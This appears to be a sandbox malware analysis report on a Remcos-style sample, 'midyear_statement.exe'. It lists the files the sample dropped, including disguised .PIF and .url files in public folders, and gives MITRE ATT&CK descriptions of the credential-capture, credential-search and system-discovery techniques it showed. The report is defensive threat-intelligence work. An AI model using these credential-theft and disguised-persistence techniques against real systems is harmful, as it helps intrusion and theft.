Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\remcos\logs.dat

C:\Users\Public\Dhuirrkw.url

C:\Users\Public\Libraries\Dhuirrkw.PIF

C:\Users\Public\Libraries\Null

C:\Users\Public\Libraries\wkrriuhD.pif

Windows Analysis Report
midyear_statement.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre